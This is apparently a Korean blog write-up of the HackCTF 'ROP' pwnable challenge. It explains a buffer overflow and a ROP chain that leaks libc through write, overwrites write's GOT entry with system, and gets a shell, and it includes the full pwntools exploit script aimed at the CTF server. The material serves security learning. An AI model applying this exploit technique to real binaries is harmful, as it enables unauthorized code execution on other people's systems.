일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 나뭇잎 책
- shellcode
- master canary
- RTL
- Dynamic Analysis
- HackCTF
- seccomp
- heap
- BOF
- _IO_FILE
- K-shield Junior
- _IO_FILE Arbitrary Address Write
- srop
- Android
- ROP
- heap feng shui
- GOT overwrite
- __environ
- DreamHack
- H4CKING GAME
- vtable
- Lazenca
- Reversing
- malware
- _IO_FILE Arbitrary Address Read
- UAF
- DFC 2022
- heap exploit
- DFB
- tcache
Archives
- Today
- Total
Studying Security
[HackCTF] pwnable: ROP 풀이 본문
728x90
반응형
Mitigation
Vulnerability Analysis
gdb를 통해 rop 바이너리 파일을 살펴보자
vulnerable_function으로 들어가면 read함수가 보인다.
read함수로 [ebp-0x88]영역에 값을 입력해 BOF 공격을 수행할 수 있다.
rop문제인 만큼 rop를 위해 필요한 함수와 문자열 주소들을 구하기 위한 payload를 작성해보자
ROP payload 구성
write( 1, read_got, 8 ) → read 주소를 획득 → exploit에 필요한 주소 획득
library_base_address = read 주소 - read_offset
system = library_base_address + system_offset
read( 0, bss, 10 ) → "/bin/sh"문자열을 bss영역에 입력
read( 0, write_got, 10 ) → write_got을 system 주소로 overwrite
write_plt( bss ) → "/bin/sh" 문자열을 인자로 주고 write_plt 실행 → system("/bin/sh") 실행한것과 같이 동작
이를 가지고 Exploit code를 작성해보자
Exploit code
from pwn import *
def slog(name,addr): return success(": ".join([name,hex(addr)]))
p = remote("ctf.j0n9hyun.xyz",3021)
e = ELF("./rop")
libc = ELF("./libc.so.6")
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
pr = 0x080482f1
pppr = 0x08048509
bss = e.bss()
payload = "A"*0x8c
# get read address
payload += p32(write_plt) + p32(pppr) + p32(1) + p32(read_got) + p32(4)
# write "/bin/sh" at bss
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(10)
# write_got overwrite
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(write_got) + p32(10)
# write_plt(bss) == system("/bin/sh")
payload += p32(write_plt) + p32(pr) + p32(bss)
p.sendline(payload)
read = u32(str(p.recvn(4)))
libc_base = read - libc.symbols["read"]
system = libc_base + libc.symbols["system"]
slog("read", read)
slog("libc_base", libc_base)
slog("system", system)
# write "/bin/sh" at bss
p.sendline("/bin/sh\x00")
# write_got overwrite
p.sendline(p32(system))
p.interactive()
Result
반응형
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] pwnable: Unexploitable #1 풀이 (0) | 2022.04.12 |
---|---|
[HackCTF] pwnable: You are silver 풀이 (0) | 2022.04.12 |
[HackCTF] pwnable: Gift 풀이 (0) | 2022.04.10 |
[HackCTF] pwnable: Look at me 풀이 (0) | 2022.04.10 |
[HackCTF] pwnable: RTL_Core 풀이 (0) | 2022.04.10 |
Comments